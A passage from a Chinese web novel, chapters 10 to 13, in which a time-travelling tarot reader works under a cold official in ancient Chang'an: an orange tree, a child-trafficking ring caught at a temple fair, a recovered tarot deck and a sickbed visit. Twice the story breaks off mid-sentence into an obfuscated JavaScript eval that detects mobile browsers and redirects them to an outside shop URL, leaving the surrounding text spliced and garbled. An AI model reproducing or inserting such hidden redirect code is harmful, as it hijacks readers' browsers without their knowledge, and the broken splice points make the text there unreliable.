“没有,什么也看不见。”温女萝下意识回答,突然如梦初醒般,猛地往回抽手。 沈京墨却不肯。他收拢五指,将她的手牢牢攥在掌心。 温女萝顿觉脸颊发烫,低低地唤了一声:“大人……” 她的声音幽幽的、软软的,像是哀求,又像是恐惧。 “温女萝。”沈京墨撩起眼皮,看着女孩子颤抖的睫毛,一字一顿地说,“你能看见情绪。” 许是对方太过平静,温女萝忽然安心不少,低头迎上他的目光:“大人说出这样的话,不觉得可笑吗?” 沈京墨笑了笑,倾身靠近。 男人的呼吸在温女萝耳畔回荡,她听见他云淡风轻地说:“排除一切的不可能,剩下的再不可能也是真相。” · 夜半,院里梨花飘飞,月色溶溶如水。 温女萝睡不着觉,随手披了件披风,坐在树下啃红糖馅饼。 沈大头说的对,但又不完全对。 自从妈妈在看守所自尽,她便拥有了特殊能力。也不知道该怎么形容,从前以为是对方的所思所想,后来发现仅能看见真实存在的过去,她又以为是人家的回忆,然而,时不时断断续续,抑或只有一两个片段,更像是人的情绪,来得快,去得也快。 情绪的来处。 她能看见情绪的来处。 这是温女萝自己的表达,与沈大头的话尚有三字之差,却已经足够叫她心惊。 奇怪的是,沈京墨并没有刨根问底。白日里他抬手轻点案上文书,示意温女萝不要忘了公务,随即又低下头,专心对付橘瓣处的白丝。 温女萝吃完了馅饼,又捧起一杯热茶:“沈大头挺喜欢吃的,明日还买这个品种。” 春见,因成熟在迎春之际而得名。 如今三月过半,温女萝找遍了整个长安也没能找到春见,甚至连橘子的影儿也没有瞧见。就跟商量好似的,所有的摊贩都不卖橘子了。 得益于现代科技,一年四季都可以吃到新鲜柑橘。万万没有想到,来了古代,橘子竟然变成稀罕物。 怪不得卖那么贵! 温女萝无法,垂头丧气地回了京兆府。 午后轻风微醺,沈京墨立在台阶上,身披一件月白披风,薄唇紧抿,神色冷淡,似乎正要外出,一眼瞧见温女萝,目光如箭矢般射过来,让人无法直视。 “本官说过,不可走太远。”他的声音凛冽,带着明显的不悦。 赶在要扣工资之前,温女萝急忙解释:“我给大人买橘子去了!” 沈京墨看她满头大汗,一时之间怔了怔,低头在她手上扫了两眼,语调更冷了几度:“橘子呢?” 自然是没有的。温女萝感觉自己用尽了这辈子的情商,总算把事情的前因后果说得清清楚楚明明白白。 “所以,”沈京墨居高临下看着她,声音清冷依旧,没有一丝起伏,“你买不到橘子,买回来一棵橘子树?” 温女萝踩了踩脚下空地,整个人都轻快起来:“今儿给种上,明年就能挂果。大人什么时候想吃,伸手一摘就有了!” 女孩子的行动力很强,当即寻来铁铲在中庭开挖。 沈京墨坐在台阶上,目不转睛地盯着她,铁铲每挖一下,眼里的笑意便更深一分。 11. 011 夕阳如金,橘子树终于栽好。 温女萝一边揉着酸痛的腰,一边拿眼偷偷打量沈京墨,发现他从台阶上站起身,低头理着自己衣服,看起来心情似乎不错。 好险,总算蒙混过关。 领导不做人,摸鱼须谨慎。 今天温女萝吃过午饭偷跑出去溜达,路过花鸟市场时,忽然想起南瓜坊的小花圃。店铺之前惨遭官府封禁,花草自然无人照料,过去这么些天,估计早就死绝。于是重新采购了一批花草,碰巧那花店老板搬动盆栽时不慎失手,橘子树连根带土摔出来,本来人家嫌麻烦打算扔掉,她三两句话免费要过来。 该是散衙的时候。沈京墨向着她走过来:“明日巳时初,我去府上接你。” 沈大头向来惜字如金,这样说的意思就是要出外勤。巳时初等于上午九点,等于可以睡懒觉——温女萝开心了:“沈大人,你真是个好官!” 沈京墨抿了抿唇,不再多说什么,径直转身往外走。 温女萝跟在他身后,过不多久,远远地听见老人家的哀哭声。尽管没有见到哭声的主人,但不用猜也知道,是宋老夫人。 秦雅颂瞧见沈京墨,明显松了口气:“我不擅长应付这种场面,沈大人你去。” 沈京墨面上毫无波澜,眼神淡漠得像在看一个陌生人:“在其位谋其政,本官查明真相,还了宋三小姐公道。此案已经完结,旁的事与本官无关。” 秦雅颂不敢置信地瞪着他:“我单知道你铁石心肠,却不知你竟是丧尽天良。老太太这种年纪又没了孙女,是个人都做不到无动于衷。沈京墨,你简直没人性!” 沈京墨连眉毛都没动一下:“直呼本官名讳,更兼言语辱骂,罚俸三年,闭门思过一月。” 新仇加上旧恨,秦雅颂瞬间气炸,迈腿跑进土地祠,又马上跑出来。她手里多了两个橘子,朝着沈京墨狠狠砸过去:“狗官,我不吃你的橘子!” 沈京墨侧身闪避。 黄澄澄的柑橘砸在地上,一下子滚出老远。 男人的目光渐渐沉下去。 他从未买过橘子,更不曾给谁送过橘子,除了温女萝,谁会做这些多余的事。 沈京墨站在那儿,等着女孩子过来解释。 然而什么也没有。他转身回头,抬眼一望,只见温女萝蹲在宋老夫人旁边,对着台阶上的三张塔罗牌指指点点。 “……圣杯骑士的正位。宋三小姐已经踏上往生净土,来世她会投身到一个富贵人家,圆满光明,一生无忧。这张是圣杯九的正位。宋三小姐与老夫人感情深厚,纵然这一世祖孙缘浅,终有一日会再相逢。” 宋老夫人坐在小板凳上,勾着脖子认真听她讲:“真的能再见吗?” 温女萝肯定地点点头:“最后这张是宝剑五的逆位。两人的分别十分突然,双方都没有做好准备,但是悲伤终将过去。宋三小姐希望老夫人保重身体,安心等她回来。” 闻言,宋老夫人摸了摸手腕上的红玛瑙,表情还算平静:“这是安安给我求的守护石,她最是记挂我的身体。” 温女萝眼前一亮:“宋三小姐与我师父十分投缘。今夜月朗风清,正适合精神净化,祈求宋三小姐往生极乐。” 宋老夫人睁了睁浑浊的双眼,语气略有几分犹疑:“岑娘子奇才异能,若能请动她,自然是极好的,酬金不在话下,我只担心她贵人事忙……” 温女萝继续赔笑。 人家分明是担心她这个年轻“徒弟”学艺不精啊,所幸还没有掉马甲。 “老夫人放心。我师父可不是谁的生意都接,要不是跟宋三小姐有缘,断不会让我开这个口。” 有“岑娘子”这块金字招牌在,价钱很快谈拢,又约好了具体的时间和地点,宋老夫人方才千恩万谢地离开。 这么一套组合拳打下来,秦雅颂整个人都看呆了,好奇地凑过来看塔罗牌:“这是什么呀?上面的图案好奇怪,像是小猫,还穿着盔甲。” 温女萝飞快收了牌到袖子里:“赚钱的秘宝,不可外传。时候不早了,你快回家去。” 秦雅颂嘿嘿笑了两声,一扭头钻进土地祠。 身后残阳如血,沈京墨的影子被拉得老长,静静地投在青石板上。他的面容冷淡得不像凡人,轮廓好似镀上一层金光,似佛似魔。 “沈大人。”温女萝低着头,不想看他的脸,“我对你有一点点失望。” 语罢,她飞也似的跑了。 沈京墨静寂地伫立在甬道,良久之后,缓缓吐出一口气。 “本官不在乎。” 他说得很轻,似乎是对温女萝的回答,又像是说给自己听的。 · 第二天一早,伴随公鸡的第一声啼叫,温女萝利索地披衣起床。 畅所欲言的后果就是,沈京墨非但不来接她,还把上班的时间提前了两个小时。因县衙人手不够,今天要去渭县帮忙巡检,算上车马劳顿,卯初就要出门。 可恶的沈大头! 吃过早饭,温女萝有几分头昏脑涨,之后又在马车上颠簸一阵,很快入了梦乡。 梦里,沈大头抱着她的大腿,一把鼻涕一把泪地跪求原谅。 沈京墨撩起车帘,瞧见的便是这样一番景象。 女孩子歪倒在座椅上,睡得横七竖八,口水顺着下颌流淌至衣领,将墨绿色的棉布洇湿一片。更为诡异的是,她歪着嘴角,发出吃吃的笑,简直如同一个傻子。 沈京墨不忍直视,抬手敲了三下车厢壁。 温女萝没有反应。 再敲。 温女萝皱起眉头,低声嘟囔了一句:“想要我原谅你,除非陪我一晚。” 接着,她嘿嘿地笑起来,像极了调戏良家的恶霸。 低俗!无耻!下流! 沈京墨忍无可忍,抽出腰间折扇,使劲掷了过去。 额头忽然一阵疼,温女萝睁开双眼,迷迷糊糊间,瞧见沈京墨满脸通红,一副立时就要发作的样子。她猛然清醒过来,可怜兮兮地说:“昨晚替宋三小姐做仪式,弄到子时才回府,沈大人,我不是故意的,你原谅我这一回。” 沈京墨开了口,声音不高,却透着几分火气:“下车。” 三月十七,是太上皇出家剃度的日子。每逢这一天,京城内外皆大肆举办佛会,各大寺院人山人海,连带周边摊贩的生意也红火起来。故而今天名义上是来巡检,实则就是逛庙会。 温女萝犹如脱缰的野马,到处乱跑乱看。 “大人你看,这个是糖人。” “这个是金鱼。” “这个是头花。” “这个是……”温女萝一时语塞。 沈京墨无奈地摇摇头:“空竹。小孩子玩的。” 果然,路边摊前围满了孩童,或是玩得忘乎所以,或是闹着父母花钱买下,或是变着法儿往圈里钻……温女萝没兴趣和小屁孩抢玩具,拉了沈京墨的衣袖便要走。 沈京墨却不动。 他回头望向人群,对着其中一位行色匆匆的妇人,大喝一声:“抓住她!” 妇人抱着个三四岁的男娃,见状撒腿就跑。 薛岳早有防备,带着七八个衙役将人团团围住。 沈京墨靠近几步,声音冰冷如刀:“把孩子拿过来。” 妇人却把小男孩抱得更紧了:“光天化日之下,大人要强抢我的孩子吗?” 薛岳送她一个白眼:“我家大人自己就能生,抢你的孩子做什么!大人做事自有大人的道理,你识相一点,把孩子交出来。” 衙役们也不是吃素的,一下子就猜到是遇上了人贩子,当即严阵以待。妇人左右瞧了瞧,大概是没有找到可趁之机,竟然高举怀中孩童往地上掷去。 温女萝想都没想,伸手在半空中接住小家伙。奈何惯性使然,她被撞得有些踉跄,眼瞅着就要倒地,腰上只觉一重,有人稳稳搂住了她。她也不管是谁,急吼吼大叫:“别让拐子跑了!” 妇人寻了空当要逃。薛岳三步并作两步,“锵”的一声,弯刀出鞘,银光晃眼,妇人抖一抖腿,跌坐在地。 温女萝终于松口气,与此同时,感受到一股熟悉的低气压。 沈京墨抱着她的手臂有些发颤,仿佛承担不起这份重量一般,艰难地从牙缝里挤出几个字:“快起来,怪沉的。” 温女萝不满地撅了撅嘴,站直身形之前,顺势踢了他一脚。 沈京墨没空理会她,拍拍衣上灰尘,适才出声询问:“说,孩子哪儿拐来的?” 妇人低着头,全身瑟瑟发抖,嘴上一句话也没有。 恰在此时,一名壮实的中年男子自围观人群中挤出来,满脸焦急:“大人,那是我的孩子,是我的狗蛋。” 围观百姓看这中年男子浓眉大眼,面相与小男孩有两分相似,心中已有判断。 “你怎么看的孩子?被人拐了都不晓得。” “日后当心啊,要不是有大人在,你的孩子就找不回来啰。” …… 中年男子挠了挠头,看起来很憨厚的模样:“我妻子早年过世,独我一人照料狗蛋,一不留神就没看住,今天多谢大人了。”说着,他伸手要来抱孩子。 小家伙睡得死沉死沉,温女萝巴不得早点脱手。 沈京墨抬起手中折扇,扇骨一横,拦住了她:“这孩子,当真是你的吗?” 中年男子底气十足:“狗蛋屁股上有块青色胎记。大人要是不信,一看便知。” 温女萝背转过身,扒开小男孩的裤子,看了一眼后飞快扭过头,小声对沈京墨说:“真的有。” 她幸灾乐祸地笑了笑,眼儿一眨一眨,宛如桃花落在水面,清澈又勾人。 心跳微微一滞,沈京墨不再看她,视线从中年男子脸上扫到小男孩脸上:“我观你肥头胖耳,想必平时没少吃肉,可这孩子,头大身小,两腮干瘦,分明就是长期营养不良所致。” 闻言,众人目光皆在两人之间游移不定,方才越看越像,这会儿竟然越看越不像。 “是有些不对劲。” “可不是。哪个当爹的会自己吃肉,让孩子饿肚子。” “他能说出孩子的胎记,肯定是熟人,人心不古啊。” …… 中年男子冷汗直流,咽了一口唾沫,道:“这不是我的狗蛋,我认错了。”说完埋头往外冲。 唐天杰一个擒拿手锁住男子手腕,胳膊肘往后一翻,男子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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孙娘子悔恨交加:“我在街尾支了个小摊,卖些自家做的糖水。今天庙会热闹,一时生意好,便没顾得上。我男人两年前没了,公婆也早就不在,小宝很乖很听话的。每逢我出摊,他就在边上玩,见了不认识的人,根本不搭理。可恨那王二,黑了心肝儿!” 沈京墨解下腰间荷包,递给孙娘子:“烈酒伤身,这里有些银钱,大姐拿去找家医馆给孩子看看,本官也可安心。” 孙娘子没有推辞,抱着小宝就要跪地叩谢:“大人大恩,民妇——” 沈京墨伸手将她给扶住:“这世道本就待女子不公,大姐孤身一人,既要维持生计,又要照看幼子,必定吃了许多苦。本官钦佩之至,更惭愧之极。抚孤空对此,零泪欲奚言。倘若易地而处,本官不及大姐万一,眼下只是略尽绵薄之力,当不起大姐一跪。” 他的声音依然冷淡,面色依然沉静,这番话却如大江东流,又似清空长响。温女萝伸手按了按自己的心口,在这里,有种异样的温热氤氲开来。 沈京墨继续道:“所幸天子恤孤念寡,大姐自去衙门登记,按月可领布帛米肉。” 即便如今国泰民安、山河无恙,读书仍旧是富人的特权。对于普通老百姓而言,大多数终其一生连书本都没有摸过,通读律典的更是少之又少。至于官府那边,没有人来登记,正好少一桩差事,乐得清闲。 孙娘子得知有扶孤条例,口中千恩万谢,一边抹着眼泪,一边随薛岳去寻医馆。 唐天杰办事利索,不一会儿就带人查抄了王二的玩具铺。 王二觊觎孙娘子已久,偏生对方不肯委身于他,故而今日寻着机会,先是哄骗小宝喝下两口高粱酒,后又安排妇人趁乱将孩子抱走。原本他可以不跳出来,为着出口气,铤而走险了一把。说来也是凑巧,这王二竟是个小头目,手底下养着一批专门负责诱拐的妇人,这些妇人拐了孩子来,暂时藏身于玩具铺。因为王二迟迟未归,所以孩子们尚未被运走。 温女萝感叹:“沈大人,你是个好官。” 同样的评价,她以前也说过。但这一次,却比任何时候都要真诚。 沈京墨斜眼看她:“怎么,对本官不失望了?” “瑕不掩瑜。”温女萝点点头,“从前是我对大人太过苛刻,比起慰藉亡者,体恤生者更加重要。” “不是你对本官太过苛刻,是本官对你太过宽容。”沈京墨嘴角微扬,表情似笑非笑,“谁让你打着本官的名义胡乱行事?” 温女萝扬起下巴,带着几分倔强的意味:“沈大人莫非没有听过一句话——水能载舟亦能覆舟,不跟底下人搞好关系,日后有的是苦头吃。” “你是本官身边的人,讨好本官一人即可。”沈京墨举步走进长街,似不愿与她多说,“还有,你搞错了一件事。本官与同僚关系融洽,并无何处不妥。” 温女萝呆了一呆,决定戳破他的美好幻想。 “可他们吃饭不与你一起?” 沈京墨眉眼不动:“本官喜好安静。” “外出聚餐也不喊你?” 沈京墨理所当然:“本官身体欠佳,不宜费心劳力。” 温女萝:…… 12. 012 温女萝感觉自己快要抓狂,心念一转,从袖子里掏出塔罗牌:“我帮大人抽牌看看。”指腹错落间,一枚圆圆的塔罗牌滑到地上。 “哎呀,我就说这个不好用。”她懊恼地拣起,翻过来是圣杯国王,神色变得有些不自然。 沈京墨微微挑眉:“何解?” 温女萝极不情愿地吐出一句话:“高山仰止,景行行止。” “那……”男人倾身靠近,漆黑的眼里目光灼灼,“是不是受人敬仰的意思?” 又是夕阳西下,翩翩公子立于其间,俊美无俦,恍若画中谪仙。 啪的一声,塔罗牌散落一地。 温女萝瞪大双眸:“不是!今日能量欠佳,看牌不准。”说完,她飞快蹲下身拣牌,勉强压下心口的异样。 沈京墨垂下眼帘,目光在牌面上停留了一瞬:“那堆小猫呢?” 温女萝听见,心底更加不耐烦。为了外出携带方便,此前用的一直是方形的小猫塔罗,昨日从京兆府出来,忽然就找不到了。 “……我回头去找,秦雅颂说她没瞧见,门房我也问了,都说没见着。”想到那副牌陪伴自己时间最久,她忍不住叹口气,神情很是落寞。 不知为何,沈京墨心口钝钝的疼,似的有什么东西即将破土而出。 “我知道在哪。”他扬声承诺,“一定帮你找回来。” 庙会一年一度,盛况堪比上元佳节,照旧实行宵禁制度,不过时间放宽了许多。等到县衙过来换班,天色彻底暗下来。 京兆府早就散衙,此刻朱门紧闭,马车转入旁边的一条小巷,停在府衙侧门。 薛岳翻身下马,叩响铜环。 吱呀一声,门打开了,秦雅颂站在门内招呼:“谁呀?” 薛岳看着她,脸上泛起一抹红晕:“秦姑娘,沈大人有事找你。” “不见!”秦雅颂瞬间冷脸,砰的关上门。 薛岳挠了挠头,回身朝着车窗请示:“世子爷,怎么办?” “再敲。”沈京墨下了马车,语气笃定地说,“秦府尹在家。” 夜色浓浓,敲门声哐哐响起,与寂静的小巷格格不入。 门再次被打开,秦煦带着一张笑脸,面上丝毫没有不悦:“既白来了,快请快请。” 沈京墨分明空手而来,反倒做出一副主人姿态:“秦雅颂在哪?” “小雅在厨房。”秦煦一边带路一边解释,“既白来得不巧,方才塌了灶台,不能留你用饭。” 这是拿话赶人呢。沈京墨一言不发听着,直到进了厨房,果段向秦雅颂伸手索要:“小猫还来。” 秦雅颂仿佛没听见似的,埋头清理着地上的碎砖,甚至不看他一眼。 秦煦连忙打圆场:“小雅不曾带过小猫回来,既白是不是搞错了?” 沈京墨收回手,神色较平时更加冰冷:“按本朝律法,偷窃多次且死性不改者,笞五十,徒一年。薛岳,抓她去见官。” 薛岳满头雾水。世子爷不就是官么? 秦煦一改往日和善,语气变得严厉起来:“沈少尹要摆官威,尽可回英国公府。这儿是本官的府邸,你要捉拿本官的妹妹,必须拿出证据。” 沈京墨第一次觉得自己这位顶头上司有点不可理喻。秦雅颂的怪毛病在京兆府无人不知,大家看在秦煦的份上,才不跟她计较。 秦雅颂抬头望过来,眼神里透着几分有恃无恐。 “敢问沈少尹,依本朝律法,肆意污蔑官员亲眷,该当何罪?”秦煦步步紧逼。 沈京墨不甘示弱:“秦大人熟读律书,当知包庇亲眷该当何罪?” “沈少尹污蔑朝廷命官,又该当何罪?”秦煦道。 沈京墨:“秦大人窝藏案犯,拒不配合调查,又该当何罪?” “沈少尹……” “秦大人……” …… 两人争了数十个来回,还是没能分出个高低,秦雅颂抢先忍受不住,把手里的砖头往当中一扔,大声喊道:“都给我闭嘴!” 沈京墨已是口干舌燥,安静片刻,语气明显软和不少:“从前罚过的俸禄,我尽数补给你,自明日起,你也不必闭门思过。”他深呼吸了一口,声音又低下去三分,“那东西对卯君很重要,请你还给她。” 秦雅颂骄傲地晃晃脑袋:“哼,早这样不就完了!”说完转身出了厨房。 沈京墨攥紧拳头,暗念忍字诀。 很快,秦雅颂去而复返,手里拎着一把斧头,冲他发号施令:“去,把院里的柴劈了。” 沈京墨只觉一股怒气直冲脑门,连带胸口剧烈起伏。他很少这样,此刻却几乎压制不住:“你到底想怎样?” “我只想安生吃顿晚饭。”秦雅颂坐回灶台前,碎砖和泥土差不多被清理干净,这会儿正要开始修补,“某些人不请自来,就别怪我物尽其用。” 薛岳立马大献殷勤:“世子爷何曾做过这些,我来我来!” 秦雅颂杏眸瞪圆:“你自有你的用处。他要是不想干,从哪儿来回哪儿去!一天天老多事,当京兆府是他家啊……” 沈京墨忍无可忍,快步离开厨房。 天上星辰璀璨,就像女孩子漂亮的大眼。 他轻叹一声,复又回转,从地上拣起斧头,老老实实到院子里劈柴。 汗珠顺着额间滚落,睫毛轻轻一颤,一滴汗就这么滑进眼眸。沈京墨扔下斧头,伸手去摸袖中丝帕,眼前忽然一黑,脚步踉跄两下,对着身后的洗菜盆栽倒下去。 秦煦正在杀鱼,见状不禁有些慌乱。这可是英国公府的世子爷,皇亲国戚,矜贵的很。闹归闹,千万不能真出事。 “糟糕!”薛岳扭头进厨房翻找,寻了红糖冲了水,就着碗口喂给主子喝,“世子爷晚上没吃饭,这会儿犯低血糖了。” 低血糖?秦雅颂吓得脸色苍白。该不会是什么绝症吧,死这儿可怎么办。 薛岳适时出言安慰:“秦姑娘别担心。世子爷不会有事,只是湿了衣衫,有劳你寻一套换洗衣裳来。” 秦雅颂忙不迭点头答应,刚要挪脚,却发现自己的衣角被人死死攥着,一步也挪不开。 沈京墨缓缓撩起眼皮,声音有气无力:“小猫还我。” “给你给你!”秦雅颂已是彻底怕了他,不敢再整幺蛾子。 卡牌握在手里,沈京墨安心闭上眼。 · 翌日,温女萝睡到日上三竿才起。 到达非非堂时,薛岳不在门前站岗,沈京墨不在屋内坐班。 “出去公干也不等我。”温女萝小声嘀咕了一句,目光扫过桌案,顿时又惊又喜。 是她的塔罗牌,小猫塔罗! 她快步走到案前,在沈京墨常坐的那张官帽椅上坐下,然后伸手拿起卡牌,发现下面压着一张宣纸,上书一个大字:糖。 温女萝看了许久,确认是沈大头的笔迹,忍不住摇头吐槽:“做了一点小事就想着要回报,沈大头啊沈大头,真是吃不得一点亏。” 又坐了一会儿,仍是不见有人来。温女萝打定主意翘班,刚走出非非堂,迎面碰上唐天杰。 唐天杰提着个篮子:“卯君姑娘,听说沈大人病了,这是我自家种的枇杷,劳烦你顺路带去国公府。” 温女萝怔住。 昨儿还好好的,今儿怎么就病了? 她呆呆听着,半句话都说不出。 府衙外停着几辆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486320|202027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 候客的马车,温女萝随手招了一辆,直奔东市而去。东市靠近三大内,一向是权贵世家的聚集之所,卖的东西简直比金子还贵,不过五斤糖,竟然花费八十多两。 温女萝好气。她还没领工资呢,既恨奸商宰客,又怪沈大头病的不是时候。 “可有拜帖?”门房坐在长条凳上,后背贴着墙壁,跷起一条腿,姿态懒散,神情倨傲,眼皮都懒得抬一下。 在武安侯府百炼成钢,温女萝早已习惯这种怠慢,清了清嗓子,不卑不亢道:“我是京兆府的捕快,奉府尹大人之命前来探视沈大人。这是我的腰牌。” 门房接过腰牌,随意瞥一眼便丢还给她,又歇了半晌,才慢吞吞起身,晃进了角门。 不过一盏茶的功夫,薛岳从里头风风火火地冲出来:“世子爷等你许久,怎么现在才来?” 温女萝随口敷衍:“买糖耽搁了点时间。” 从角门进去,眼前是一条望不到头的夹道,道旁停着好几辆翠帷平顶马车,看样子是专供客人在府中往来用的。 温女萝忍不住在心里翻了个白眼:行吧,这就是古代霸总,每天在占地XX亩的豪宅里醒来,然后坐着马车去上班。 薛岳扬起马鞭。 马车沿着夹道往深处平缓驶去,大约一刻钟过去,在一座垂花门前停下。 温女萝下了车,顺着游廊又走一刻钟,方走到沈京墨的小院——琼楼小筑。 书房内,沈京墨半躺在罗汉榻上,身上穿戴整齐,手里捧了一本书安静地看着,见她进来,神色平静地合上书:“今天又找了什么借口?” 温女萝搬了张椅子,到榻边儿坐下,先将唐天杰的枇杷说了,又捧着各色糖果到他跟前:“我不晓得大人爱吃什么糖,只好每样都买了一些。” 杏仁糖、花生糖、冬瓜糖、生姜糖、陈皮糖、粽子糖……琳琅满目,应有尽有。 沈京墨别过脸,丢过来一句话,声音冷得像腊月里的风:“没一样我爱吃,拿走。” 温女萝登时炸了,小嘴叭叭开怼:“大人说要吃糖,我到长安城最有名的铺子给大人买来,足足花了八十八两!八十八两足够买一万斤粮食,把大人埋里边还有多余的,再把薛岳也埋进去。有事儿大人就找他,别再来烦我!” 沈京墨听她一番话,低下头,久久没有出声。 探病的流程已经走完,温女萝本想一走了之,忽然记起对方还生着病,又有点不忍心,倾身凑过去:“大人想吃什么糖?我再去买。” 沈京墨抬眸看了她一眼,那目光里像是藏着什么,却只一瞬,又飞快垂下。 “我好像真不招人待见。” 浓密的睫毛遮住漆黑的眼,显得他有些脆弱。放在现代,二十岁的沈京墨尚且是纯情男大,对于温女萝这个老阿姨来说,可不得心都化了! “高山仰止,景行行止。”温女萝拍了拍胸口,“大人非常受人欢迎,我看牌从没出过错。” “可他们吃饭不与我一起?” 温女萝脱口而出:“他们赶着午休,自然吃得快些。” “外出聚餐也不喊我?” 温女萝不假思索:“大人是什么档次,他们是什么档次,换我也不好意思请大人去吃路边摊。” 目光在她腰间绕了几圈,沈京墨低下头,又不说话了。 温女萝却是恍然,伸手解开腰间荷包,从白瓷小盒里取出最后一粒巧克力豆,送到他嘴边:“吃巧克力吗?” 不等她说完,沈京墨已经张嘴含住,眉目逐渐舒展,神情愉悦而满足,显然很喜欢。 微凉的薄唇划过青葱指尖,温女萝若无其事地收回手,在无人注意的视线死角,将裙子抓得皱皱巴巴。 13. 013 人人都有一颗好奇心,沈京墨也不例外。 “这个糖,有可可豆就能做?”他径直问道。 温女萝点头:“可可豆是主材料,原产地在墨西哥,中原极其罕见。” 沈京墨看向她,眼神狐疑:“你是如何寻来?” 闻言,温女萝的笑容顿时全僵在脸上。 塔罗牌刚从快递柜里取出来,便跟着她一起穿越到古代,但她不曾在网上买过可可豆,当然只能用偷的。 温晏禾不知道可可豆的用处,拿盘子装了放在明厅当摆设,逢人便炫耀这是宫里的赏赐。温女萝趁她不注意,悄悄抓了两大把,把荷包塞得满满当当。 “温大姑娘送我的。”温女萝说完觉得底气有点不足,又补了一句,“她那儿应该还有,我下次要些过来。” “不必。”沈京墨豁然起身,走到书房外头吩咐了一声。 两个丫鬟进来,合力抬着一筐可可豆。 “这是琼台进贡上来的,说西洋人将它磨成粉以后用来泡茶,芳香浓郁,有提神醒脑的功效。”海月看着十六七岁的样子,一身水红色长比甲,容貌清秀,眉眼柔顺,说起话来温温柔柔,“奴婢试过,味道好生难喝。” 温女萝捏了豆子在手,心想,人家根本不是咖啡豆,难喝再是正常不过。 其实可可粉也可以拿来冲泡,但前提条件是经过发酵,再晾晒、烘烤、碾磨,全程差不多要花费大半个月的时间。 温女萝直起身:“我带回去,等做好了再送过来。” 沈京墨瞥她一眼,眼神蕴含几分怀疑:“我不吃来历不明的东西。后头有小厨房。” “行。”温女萝依旧笑嘻嘻,心里却不停翻白眼。 呵呵,刚才吃她巧克力豆的时候,怎么不见如此讲究? 正所谓,君子远庖厨。沈京墨从小养尊处优,十指不沾阳春水,再想不到做个糖要费这许多功夫。 “今天做不好么?”他坐在门口的小椅子上,耳朵听着厨房内的动静,眸中划过一抹失落。 “早着呢。”温女萝从里面出来,举了两根裹满糖稀的小棍子,伸手递过去。 “不吃。”沈京墨一口回绝。 温女萝才不惯他的脾气,直接把糖稀送入自己口中,故意眨了眨眼睛:“我可没说给大人吃。” 沈京墨沉下脸,薄薄的嘴唇抿成一条直线,像极了闹别扭的小孩子。 开花看模样比海月更加出挑,也更机灵,见状绕好两根糖稀,塞到主子手里:“世子爷,这个好吃,你尝尝。” 沈京墨皱着眉头,勉为其难地吃了起来,与印象中的那种齁甜不同,味道清甜不腻,还有一点淡淡的酸。 “我加了枇杷。”温女萝站在院子里,目光盯着男人不断上扬的嘴角。 她算是看出来了。沈大头堪称摩羯男中的佼佼者,闷骚且傲娇,明明心里想的要命,非要人家喂到他嘴里还得求着,他才肯纡尊降贵地尝一口。 两个字,难搞。 “不错。”沈京墨吃完开始提要求,“巧克力里也加一些。” 话音未落,他忽然用力咳嗽了几声,脸上随之浮现一抹异样的潮红。 温女萝抬手抚上男人的额头,触感冰凉冰凉,应该只是小感冒,还没有到发烧的地步。 “巧克力要弄好些天,大人先回去休息。” 小手往下一伸,拽住了沈京墨的衣袖,牵着他起身,往书房而去。 海月瞠目结舌,开花也是呆住。 她们家世子爷,何曾变得这般乖巧? 回到书房,沈京墨倚着软枕,斜靠在罗汉榻上,脸色渐渐恢复苍白,精神看着倒还不错。 “发酵需要时间,我过几天再来。”温女萝想了想,顺手提起装糖的锦盒,“反正大人不爱吃,我拿去退掉。” “慢着。”沈京墨看也不看她,只说,“在巧克力做好之前,本官将就些。” 温女萝转了转眼眸,积极道:“沈大人,我这样算不算表现优异?能不能拿先进奖?” 目光稍稍一抬,对上她黑白分明的大眼。沈京墨面无表情,回答仅有两个字:“尚可。” 尚可等于勉勉强强,等于拿不到先进奖。 温女萝撅了撅嘴,从一旁的篮子里抓起两个枇杷,便起身告辞。 快到院门口时,恰好瞧见秦雅颂进来,她忽然有点心虚,闪身躲到一棵高大的榆钱树背后。 秦雅颂跟在海月后面,身边站着个中年男子。男子大约四十多岁,穿一件粗布衣裳,两鬓已然生了华发,却是眉眼豁达,目光清明,竟有几分少年人的意气风发。 温女萝不认得他,猜测应该是秦雅颂的父亲。 秦煦神情严肃:“等会见了沈少尹,说话和气些。” 秦雅颂十分地不以为然:“分明是他刻意针对在先,我已经很忍让了。” 秦煦抬眸望一眼前方的海月,压低了声音:“从前姑且不论,这一回是不是你的错?” “行行行。”秦雅颂不耐烦地摆了摆手,“我哪知道他是纸糊的,风一吹就倒。” 两人越走越远,温女萝听不到后头的对话,心中正疑惑不解,眼角余光扫到院门口的薛岳,他站在庑廊下,盯着秦雅颂的背影怔怔出神。 温女萝偷笑一阵,心中立时有了主意。 “薛大哥,想不想算一算你跟秦姑娘的恋爱运?”她举起塔罗牌,出现在薛岳面前。 薛岳尚且搞不清楚状况,一心以为卯君姑娘是岑娘子的徒弟,他伸手摸向腰间钱袋,脸上写满跃跃欲试:“多少钱一算?” 温女萝伸出右手食指,左右轻轻摇了摇:“不收钱。” 薛岳觉得站在门口不妥,引着她去到不远处的一座八角凉亭。 温女萝在石桌前坐下,架势摆得十足:“先抽两张牌,看一下你们的感情状态。” 薛岳听话照做。 温女萝翻开第一张:“命运之轮的逆位。你与秦姑娘的关系一直停滞不前,很大可能是你这边想要推进,你这边在努力,秦姑娘却不怎么搭理。” 听到这里,薛岳毫不客气地反驳:“瞎说,秦姑娘五天前还对我笑呢。” “那她今天有没有对你笑?”温女萝翻了个大白眼,继续解读第二张,“星币骑士的逆位。你们当中有人存在金钱问题,双方忙于事业,这才导致关系疏离。” 